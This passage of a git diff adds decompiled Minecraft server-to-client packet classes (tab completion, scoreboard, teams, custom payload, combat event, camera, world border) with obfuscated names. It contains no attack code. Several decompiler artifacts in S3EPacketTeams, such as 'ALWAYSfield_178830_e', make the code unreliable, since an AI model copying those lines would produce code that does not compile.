+  private static final String __OBFID = "CL_00001288";
+  
+  public S3APacketTabComplete() {}
+  
+  public S3APacketTabComplete(String[] p_i45178_1_)
+  {
+    field_149632_a = p_i45178_1_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149632_a = new String[data.readVarIntFromBuffer()];
+    
+    for (int var2 = 0; var2 < field_149632_a.length; var2++)
+    {
+      field_149632_a[var2] = data.readStringFromBuffer(32767);
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149632_a.length);
+    String[] var2 = field_149632_a;
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      String var5 = var2[var4];
+      data.writeString(var5);
+    }
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleTabComplete(this);
+  }
+  
+  public String[] func_149630_c()
+  {
+    return field_149632_a;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S3BPacketScoreboardObjective.java b/src/minecraft/net/minecraft/network/play/server/S3BPacketScoreboardObjective.java
new file mode 100644
index 0000000..48ab3ce
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S3BPacketScoreboardObjective.java
@@ -0,0 +1,94 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.scoreboard.IScoreObjectiveCriteria.EnumRenderType;
+import net.minecraft.scoreboard.ScoreObjective;
+
+public class S3BPacketScoreboardObjective implements Packet
+{
+  private String field_149343_a;
+  private String field_149341_b;
+  private IScoreObjectiveCriteria.EnumRenderType field_179818_c;
+  private int field_149342_c;
+  private static final String __OBFID = "CL_00001333";
+  
+  public S3BPacketScoreboardObjective() {}
+  
+  public S3BPacketScoreboardObjective(ScoreObjective p_i45224_1_, int p_i45224_2_)
+  {
+    field_149343_a = p_i45224_1_.getName();
+    field_149341_b = p_i45224_1_.getDisplayName();
+    field_179818_c = p_i45224_1_.getCriteria().func_178790_c();
+    field_149342_c = p_i45224_2_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149343_a = data.readStringFromBuffer(16);
+    field_149342_c = data.readByte();
+    
+    if ((field_149342_c == 0) || (field_149342_c == 2))
+    {
+      field_149341_b = data.readStringFromBuffer(32);
+      field_179818_c = IScoreObjectiveCriteria.EnumRenderType.func_178795_a(data.readStringFromBuffer(16));
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeString(field_149343_a);
+    data.writeByte(field_149342_c);
+    
+    if ((field_149342_c == 0) || (field_149342_c == 2))
+    {
+      data.writeString(field_149341_b);
+      data.writeString(field_179818_c.func_178796_a());
+    }
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleScoreboardObjective(this);
+  }
+  
+  public String func_149339_c()
+  {
+    return field_149343_a;
+  }
+  
+  public String func_149337_d()
+  {
+    return field_149341_b;
+  }
+  
+  public int func_149338_e()
+  {
+    return field_149342_c;
+  }
+  
+  public IScoreObjectiveCriteria.EnumRenderType func_179817_d()
+  {
+    return field_179818_c;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S3CPacketUpdateScore.java b/src/minecraft/net/minecraft/network/play/server/S3CPacketUpdateScore.java
new file mode 100644
index 0000000..e74c3d7
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S3CPacketUpdateScore.java
@@ -0,0 +1,121 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.scoreboard.Score;
+import net.minecraft.scoreboard.ScoreObjective;
+
+public class S3CPacketUpdateScore implements Packet
+{
+  private String name = "";
+  private String objective = "";
+  private int value;
+  private Action action;
+  private static final String __OBFID = "CL_00001335";
+  
+  public S3CPacketUpdateScore() {}
+  
+  public S3CPacketUpdateScore(Score scoreIn)
+  {
+    name = scoreIn.getPlayerName();
+    objective = scoreIn.getObjective().getName();
+    value = scoreIn.getScorePoints();
+    action = Action.CHANGE;
+  }
+  
+  public S3CPacketUpdateScore(String nameIn)
+  {
+    name = nameIn;
+    objective = "";
+    value = 0;
+    action = Action.REMOVE;
+  }
+  
+  public S3CPacketUpdateScore(String nameIn, ScoreObjective objectiveIn)
+  {
+    name = nameIn;
+    objective = objectiveIn.getName();
+    value = 0;
+    action = Action.REMOVE;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    name = data.readStringFromBuffer(40);
+    action = ((Action)data.readEnumValue(Action.class));
+    objective = data.readStringFromBuffer(16);
+    
+    if (action != Action.REMOVE)
+    {
+      value = data.readVarIntFromBuffer();
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeString(name);
+    data.writeEnumValue(action);
+    data.writeString(objective);
+    
+    if (action != Action.REMOVE)
+    {
+      data.writeVarIntToBuffer(value);
+    }
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleUpdateScore(this);
+  }
+  
+  public String func_149324_c()
+  {
+    return name;
+  }
+  
+  public String func_149321_d()
+  {
+    return objective;
+  }
+  
+  public int func_149323_e()
+  {
+    return value;
+  }
+  
+  public Action func_180751_d()
+  {
+    return action;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+  
+  public static enum Action
+  {
+    CHANGE("CHANGE", 0), 
+    REMOVE("REMOVE", 1);
+    
+    private static final Action[] $VALUES = { CHANGE, REMOVE };
+    private static final String __OBFID = "CL_00002288";
+    
+    private Action(String p_i45957_1_, int p_i45957_2_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S3DPacketDisplayScoreboard.java b/src/minecraft/net/minecraft/network/play/server/S3DPacketDisplayScoreboard.java
new file mode 100644
index 0000000..1bf5d24
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S3DPacketDisplayScoreboard.java
@@ -0,0 +1,72 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.scoreboard.ScoreObjective;
+
+public class S3DPacketDisplayScoreboard implements Packet
+{
+  private int field_149374_a;
+  private String field_149373_b;
+  private static final String __OBFID = "CL_00001325";
+  
+  public S3DPacketDisplayScoreboard() {}
+  
+  public S3DPacketDisplayScoreboard(int p_i45216_1_, ScoreObjective p_i45216_2_)
+  {
+    field_149374_a = p_i45216_1_;
+    
+    if (p_i45216_2_ == null)
+    {
+      field_149373_b = "";
+    }
+    else
+    {
+      field_149373_b = p_i45216_2_.getName();
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149374_a = data.readByte();
+    field_149373_b = data.readStringFromBuffer(16);
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByte(field_149374_a);
+    data.writeString(field_149373_b);
+  }
+  
+  public void func_180747_a(INetHandlerPlayClient p_180747_1_)
+  {
+    p_180747_1_.handleDisplayScoreboard(this);
+  }
+  
+  public int func_149371_c()
+  {
+    return field_149374_a;
+  }
+  
+  public String func_149370_d()
+  {
+    return field_149373_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180747_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S3EPacketTeams.java b/src/minecraft/net/minecraft/network/play/server/S3EPacketTeams.java
new file mode 100644
index 0000000..3388790
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S3EPacketTeams.java
@@ -0,0 +1,200 @@
+package net.minecraft.network.play.server;
+
+import com.google.common.collect.Lists;
+import java.io.IOException;
+import java.util.Collection;
+import java.util.Iterator;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.scoreboard.ScorePlayerTeam;
+import net.minecraft.scoreboard.Team.EnumVisible;
+import net.minecraft.util.EnumChatFormatting;
+
+public class S3EPacketTeams implements net.minecraft.network.Packet
+{
+  private String field_149320_a = "";
+  private String field_149318_b = "";
+  private String field_149319_c = "";
+  private String field_149316_d = "";
+  private String field_179816_e;
+  private int field_179815_f;
+  private Collection field_149317_e;
+  private int field_149314_f;
+  private int field_149315_g;
+  private static final String __OBFID = "CL_00001334";
+  
+  public S3EPacketTeams()
+  {
+    field_179816_e = ALWAYSfield_178830_e;
+    field_179815_f = -1;
+    field_149317_e = Lists.newArrayList();
+  }
+  
+  public S3EPacketTeams(ScorePlayerTeam p_i45225_1_, int p_i45225_2_)
+  {
+    field_179816_e = ALWAYSfield_178830_e;
+    field_179815_f = -1;
+    field_149317_e = Lists.newArrayList();
+    field_149320_a = p_i45225_1_.getRegisteredName();
+    field_149314_f = p_i45225_2_;
+    
+    if ((p_i45225_2_ == 0) || (p_i45225_2_ == 2))
+    {
+      field_149318_b = p_i45225_1_.func_96669_c();
+      field_149319_c = p_i45225_1_.getColorPrefix();
+      field_149316_d = p_i45225_1_.getColorSuffix();
+      field_149315_g = p_i45225_1_.func_98299_i();
+      field_179816_e = func_178770_ifield_178830_e;
+      field_179815_f = p_i45225_1_.func_178775_l().func_175746_b();
+    }
+    
+    if (p_i45225_2_ == 0)
+    {
+      field_149317_e.addAll(p_i45225_1_.getMembershipCollection());
+    }
+  }
+  
+  public S3EPacketTeams(ScorePlayerTeam p_i45226_1_, Collection p_i45226_2_, int p_i45226_3_)
+  {
+    field_179816_e = ALWAYSfield_178830_e;
+    field_179815_f = -1;
+    field_149317_e = Lists.newArrayList();
+    
+    if ((p_i45226_3_ != 3) && (p_i45226_3_ != 4))
+    {
+      throw new IllegalArgumentException("Method must be join or leave for player constructor");
+    }
+    if ((p_i45226_2_ != null) && (!p_i45226_2_.isEmpty()))
+    {
+      field_149314_f = p_i45226_3_;
+      field_149320_a = p_i45226_1_.getRegisteredName();
+      field_149317_e.addAll(p_i45226_2_);
+    }
+    else
+    {
+      throw new IllegalArgumentException("Players cannot be null/empty");
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149320_a = data.readStringFromBuffer(16);
+    field_149314_f = data.readByte();
+    
+    if ((field_149314_f == 0) || (field_149314_f == 2))
+    {
+      field_149318_b = data.readStringFromBuffer(32);
+      field_149319_c = data.readStringFromBuffer(16);
+      field_149316_d = data.readStringFromBuffer(16);
+      field_149315_g = data.readByte();
+      field_179816_e = data.readStringFromBuffer(32);
+      field_179815_f = data.readByte();
+    }
+    
+    if ((field_149314_f == 0) || (field_149314_f == 3) || (field_149314_f == 4))
+    {
+      int var2 = data.readVarIntFromBuffer();
+      
+      for (int var3 = 0; var3 < var2; var3++)
+      {
+        field_149317_e.add(data.readStringFromBuffer(40));
+      }
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeString(field_149320_a);
+    data.writeByte(field_149314_f);
+    
+    if ((field_149314_f == 0) || (field_149314_f == 2))
+    {
+      data.writeString(field_149318_b);
+      data.writeString(field_149319_c);
+      data.writeString(field_149316_d);
+      data.writeByte(field_149315_g);
+      data.writeString(field_179816_e);
+      data.writeByte(field_179815_f);
+    }
+    
+    if ((field_149314_f == 0) || (field_149314_f == 3) || (field_149314_f == 4))
+    {
+      data.writeVarIntToBuffer(field_149317_e.size());
+      Iterator var2 = field_149317_e.iterator();
+      
+      while (var2.hasNext())
+      {
+        String var3 = (String)var2.next();
+        data.writeString(var3);
+      }
+    }
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleTeams(this);
+  }
+  
+  public String func_149312_c()
+  {
+    return field_149320_a;
+  }
+  
+  public String func_149306_d()
+  {
+    return field_149318_b;
+  }
+  
+  public String func_149311_e()
+  {
+    return field_149319_c;
+  }
+  
+  public String func_149309_f()
+  {
+    return field_149316_d;
+  }
+  
+  public Collection func_149310_g()
+  {
+    return field_149317_e;
+  }
+  
+  public int func_149307_h()
+  {
+    return field_149314_f;
+  }
+  
+  public int func_149308_i()
+  {
+    return field_149315_g;
+  }
+  
+  public int func_179813_h()
+  {
+    return field_179815_f;
+  }
+  
+  public String func_179814_i()
+  {
+    return field_179816_e;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S3FPacketCustomPayload.java b/src/minecraft/net/minecraft/network/play/server/S3FPacketCustomPayload.java
new file mode 100644
index 0000000..ab424ba
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S3FPacketCustomPayload.java
@@ -0,0 +1,78 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S3FPacketCustomPayload
+  implements Packet
+{
+  private String channel;
+  private PacketBuffer data;
+  private static final String __OBFID = "CL_00001297";
+  
+  public S3FPacketCustomPayload() {}
+  
+  public S3FPacketCustomPayload(String channelName, PacketBuffer dataIn)
+  {
+    channel = channelName;
+    data = dataIn;
+    
+    if (dataIn.writerIndex() > 1048576)
+    {
+      throw new IllegalArgumentException("Payload may not be larger than 1048576 bytes");
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    channel = data.readStringFromBuffer(20);
+    int var2 = data.readableBytes();
+    
+    if ((var2 >= 0) && (var2 <= 1048576))
+    {
+      this.data = new PacketBuffer(data.readBytes(var2));
+    }
+    else
+    {
+      throw new IOException("Payload may not be larger than 1048576 bytes");
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeString(channel);
+    data.writeBytes(this.data);
+  }
+  
+  public void process(INetHandlerPlayClient p_180734_1_)
+  {
+    p_180734_1_.handleCustomPayload(this);
+  }
+  
+  public String getChannelName()
+  {
+    return channel;
+  }
+  
+  public PacketBuffer getBufferData()
+  {
+    return data;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    process((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S40PacketDisconnect.java b/src/minecraft/net/minecraft/network/play/server/S40PacketDisconnect.java
new file mode 100644
index 0000000..11cbfaf
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S40PacketDisconnect.java
@@ -0,0 +1,58 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.IChatComponent;
+
+public class S40PacketDisconnect implements Packet
+{
+  private IChatComponent reason;
+  private static final String __OBFID = "CL_00001298";
+  
+  public S40PacketDisconnect() {}
+  
+  public S40PacketDisconnect(IChatComponent reasonIn)
+  {
+    reason = reasonIn;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    reason = data.readChatComponent();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeChatComponent(reason);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleDisconnect(this);
+  }
+  
+  public IChatComponent func_149165_c()
+  {
+    return reason;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S41PacketServerDifficulty.java b/src/minecraft/net/minecraft/network/play/server/S41PacketServerDifficulty.java
new file mode 100644
index 0000000..bffb6c0
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S41PacketServerDifficulty.java
@@ -0,0 +1,62 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.world.EnumDifficulty;
+
+public class S41PacketServerDifficulty implements Packet
+{
+  private EnumDifficulty field_179833_a;
+  private boolean field_179832_b;
+  private static final String __OBFID = "CL_00002303";
+  
+  public S41PacketServerDifficulty() {}
+  
+  public S41PacketServerDifficulty(EnumDifficulty p_i45987_1_, boolean p_i45987_2_)
+  {
+    field_179833_a = p_i45987_1_;
+    field_179832_b = p_i45987_2_;
+  }
+  
+  public void func_179829_a(INetHandlerPlayClient p_179829_1_)
+  {
+    p_179829_1_.func_175101_a(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179833_a = EnumDifficulty.getDifficultyEnum(data.readUnsignedByte());
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByte(field_179833_a.getDifficultyId());
+  }
+  
+  public boolean func_179830_a()
+  {
+    return field_179832_b;
+  }
+  
+  public EnumDifficulty func_179831_b()
+  {
+    return field_179833_a;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_179829_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S42PacketCombatEvent.java b/src/minecraft/net/minecraft/network/play/server/S42PacketCombatEvent.java
new file mode 100644
index 0000000..93c7345
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S42PacketCombatEvent.java
@@ -0,0 +1,131 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.CombatTracker;
+import net.minecraft.util.IChatComponent;
+
+public class S42PacketCombatEvent implements net.minecraft.network.Packet
+{
+  public Event field_179776_a;
+  public int field_179774_b;
+  public int field_179775_c;
+  public int field_179772_d;
+  public String field_179773_e;
+  private static final String __OBFID = "CL_00002299";
+  
+  public S42PacketCombatEvent() {}
+  
+  public S42PacketCombatEvent(CombatTracker p_i45970_1_, Event p_i45970_2_)
+  {
+    field_179776_a = p_i45970_2_;
+    EntityLivingBase var3 = p_i45970_1_.func_94550_c();
+    
+    switch (SwitchEvent.field_179944_a[p_i45970_2_.ordinal()])
+    {
+    case 1: 
+      field_179772_d = p_i45970_1_.func_180134_f();
+      field_179775_c = (var3 == null ? -1 : var3.getEntityId());
+      break;
+    
+    case 2: 
+      field_179774_b = p_i45970_1_.func_180135_h().getEntityId();
+      field_179775_c = (var3 == null ? -1 : var3.getEntityId());
+      field_179773_e = p_i45970_1_.func_151521_b().getUnformattedText();
+    }
+    
+  }
+  
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179776_a = ((Event)data.readEnumValue(Event.class));
+    
+    if (field_179776_a == Event.END_COMBAT)
+    {
+      field_179772_d = data.readVarIntFromBuffer();
+      field_179775_c = data.readInt();
+    }
+    else if (field_179776_a == Event.ENTITY_DIED)
+    {
+      field_179774_b = data.readVarIntFromBuffer();
+      field_179775_c = data.readInt();
+      field_179773_e = data.readStringFromBuffer(32767);
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeEnumValue(field_179776_a);
+    
+    if (field_179776_a == Event.END_COMBAT)
+    {
+      data.writeVarIntToBuffer(field_179772_d);
+      data.writeInt(field_179775_c);
+    }
+    else if (field_179776_a == Event.ENTITY_DIED)
+    {
+      data.writeVarIntToBuffer(field_179774_b);
+      data.writeInt(field_179775_c);
+      data.writeString(field_179773_e);
+    }
+  }
+  
+  public void func_179771_a(INetHandlerPlayClient p_179771_1_)
+  {
+    p_179771_1_.func_175098_a(this);
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_179771_a((INetHandlerPlayClient)handler);
+  }
+  
+  public static enum Event
+  {
+    ENTER_COMBAT("ENTER_COMBAT", 0), 
+    END_COMBAT("END_COMBAT", 1), 
+    ENTITY_DIED("ENTITY_DIED", 2);
+    
+    private static final Event[] $VALUES = { ENTER_COMBAT, END_COMBAT, ENTITY_DIED };
+    private static final String __OBFID = "CL_00002297";
+    
+    private Event(String p_i45969_1_, int p_i45969_2_) {}
+  }
+  
+  static final class SwitchEvent
+  {
+    static final int[] field_179944_a = new int[S42PacketCombatEvent.Event.values().length];
+    private static final String __OBFID = "CL_00002298";
+    
+    static
+    {
+      try
+      {
+        field_179944_a[S42PacketCombatEvent.Event.END_COMBAT.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_179944_a[S42PacketCombatEvent.Event.ENTITY_DIED.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+    }
+    
+    SwitchEvent() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S43PacketCamera.java b/src/minecraft/net/minecraft/network/play/server/S43PacketCamera.java
new file mode 100644
index 0000000..6d9214c
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S43PacketCamera.java
@@ -0,0 +1,56 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.Entity;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.world.World;
+
+public class S43PacketCamera implements Packet
+{
+  public int field_179781_a;
+  private static final String __OBFID = "CL_00002289";
+  
+  public S43PacketCamera() {}
+  
+  public S43PacketCamera(Entity p_i45960_1_)
+  {
+    field_179781_a = p_i45960_1_.getEntityId();
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179781_a = data.readVarIntFromBuffer();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_179781_a);
+  }
+  
+  public void func_179779_a(INetHandlerPlayClient p_179779_1_)
+  {
+    p_179779_1_.func_175094_a(this);
+  }
+  
+  public Entity func_179780_a(World worldIn)
+  {
+    return worldIn.getEntityByID(field_179781_a);
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_179779_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S44PacketWorldBorder.java b/src/minecraft/net/minecraft/network/play/server/S44PacketWorldBorder.java
new file mode 100644
index 0000000..3f60ae6
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S44PacketWorldBorder.java
@@ -0,0 +1,257 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.world.border.WorldBorder;
+
+public class S44PacketWorldBorder implements Packet
+{
+  private Action field_179795_a;
+  private int field_179793_b;
+  private double field_179794_c;
+  private double field_179791_d;
+  private double field_179792_e;
+  private double field_179789_f;
+  private long field_179790_g;
+  private int field_179796_h;
+  private int field_179797_i;
+  private static final String __OBFID = "CL_00002292";
+  
+  public S44PacketWorldBorder() {}
+  
+  public S44PacketWorldBorder(WorldBorder p_i45962_1_, Action p_i45962_2_)
+  {
+    field_179795_a = p_i45962_2_;
+    field_179794_c = p_i45962_1_.getCenterX();
+    field_179791_d = p_i45962_1_.getCenterZ();
+    field_179789_f = p_i45962_1_.getDiameter();
+    field_179792_e = p_i45962_1_.getTargetSize();
+    field_179790_g = p_i45962_1_.getTimeUntilTarget();
+    field_179793_b = p_i45962_1_.getSize();
+    field_179797_i = p_i45962_1_.getWarningDistance();
+    field_179796_h = p_i45962_1_.getWarningTime();
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179795_a = ((Action)data.readEnumValue(Action.class));
+    
+    switch (SwitchAction.field_179947_a[field_179795_a.ordinal()])
+    {
+    case 1: 
+      field_179792_e = data.readDouble();
+      break;
+    
+    case 2: 
+      field_179789_f = data.readDouble();
+      field_179792_e = data.readDouble();
+      field_179790_g = data.readVarLong();
+      break;
+    
+    case 3: 
+      field_179794_c = data.readDouble();
+      field_179791_d = data.readDouble();
+      break;
+    
+    case 4: 
+      field_179797_i = data.readVarIntFromBuffer();
+      break;
+    
+    case 5: 
+      field_179796_h = data.readVarIntFromBuffer();
+      break;
+    
+    case 6: 
+      field_179794_c = data.readDouble();
+      field_179791_d = data.readDouble();
+      field_179789_f = data.readDouble();
+      field_179792_e = data.readDouble();
+      field_179790_g = data.readVarLong();
+      field_179793_b = data.readVarIntFromBuffer();
+      field_179797_i = data.readVarIntFromBuffer();
+      field_179796_h = data.readVarIntFromBuffer();
+    }
+    
+  }
+  
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeEnumValue(field_179795_a);
+    
+    switch (SwitchAction.field_179947_a[field_179795_a.ordinal()])
+    {
+    case 1: 
+      data.writeDouble(field_179792_e);
+      break;
+    
+    case 2: 
+      data.writeDouble(field_179789_f);
+      data.writeDouble(field_179792_e);
+      data.writeVarLong(field_179790_g);
+      break;
+    
+    case 3: 
+      data.writeDouble(field_179794_c);
+      data.writeDouble(field_179791_d);
+      break;
+    
+    case 4: 
+      data.writeVarIntToBuffer(field_179797_i);
+      break;
+    
+    case 5: 
+      data.writeVarIntToBuffer(field_179796_h);
+      break;
+    
+    case 6: 
+      data.writeDouble(field_179794_c);
+      data.writeDouble(field_179791_d);
+      data.writeDouble(field_179789_f);
+      data.writeDouble(field_179792_e);
+      data.writeVarLong(field_179790_g);
+      data.writeVarIntToBuffer(field_179793_b);
+      data.writeVarIntToBuffer(field_179797_i);
+      data.writeVarIntToBuffer(field_179796_h);
+    }
+  }
+  
+  public void func_179787_a(INetHandlerPlayClient p_179787_1_)
+  {
+    p_179787_1_.func_175093_a(this);
+  }
+  
+  public void func_179788_a(WorldBorder p_179788_1_)
+  {
+    switch (SwitchAction.field_179947_a[field_179795_a.ordinal()])
+    {
+    case 1: 
+      p_179788_1_.setTransition(field_179792_e);
+      break;
+    
+    case 2: 
+      p_179788_1_.setTransition(field_179789_f, field_179792_e, field_179790_g);
+      break;
+    
+    case 3: 
+      p_179788_1_.setCenter(field_179794_c, field_179791_d);
+      break;
+    
+    case 4: 
+      p_179788_1_.setWarningDistance(field_179797_i);
+      break;
+    
+    case 5: 
+      p_179788_1_.setWarningTime(field_179796_h);
+      break;
+    
+    case 6: 
+      p_179788_1_.setCenter(field_179794_c, field_179791_d);
+      
+      if (field_179790_g > 0L)
+      {
+        p_179788_1_.setTransition(field_179789_f, field_179792_e, field_179790_g);
+      }
+      else
+      {
+        p_179788_1_.setTransition(field_179792_e);
+      }
+      
+      p_179788_1_.setSize(field_179793_b);
+      p_179788_1_.setWarningDistance(field_179797_i);
+      p_179788_1_.setWarningTime(field_179796_h);
+    }
+    
+  }
+  
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_179787_a((INetHandlerPlayClient)handler);
+  }
+  
+  public static enum Action
+  {
+    SET_SIZE("SET_SIZE", 0), 
+    LERP_SIZE("LERP_SIZE", 1), 
+    SET_CENTER("SET_CENTER", 2), 
+    INITIALIZE("INITIALIZE", 3), 
+    SET_WARNING_TIME("SET_WARNING_TIME", 4), 
+    SET_WARNING_BLOCKS("SET_WARNING_BLOCKS", 5);
+    
+    private static final Action[] $VALUES = { SET_SIZE, LERP_SIZE, SET_CENTER, INITIALIZE, SET_WARNING_TIME, SET_WARNING_BLOCKS };
+    private static final String __OBFID = "CL_00002290";
+    
+    private Action(String p_i45961_1_, int p_i45961_2_) {}
+  }
+  
+  static final class SwitchAction
+  {
+    static final int[] field_179947_a = new int[S44PacketWorldBorder.Action.values().length];
+    private static final String __OBFID = "CL_00002291";
+    
+    static
+    {
+      try
+      {
+        field_179947_a[S44PacketWorldBorder.Action.SET_SIZE.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_179947_a[S44PacketWorldBorder.Action.LERP_SIZE.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_179947_a[S44PacketWorldBorder.Action.SET_CENTER.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_179947_a[S44PacketWorldBorder.Action.SET_WARNING_BLOCKS.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_179947_a[S44PacketWorldBorder.Action.SET_WARNING_TIME.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
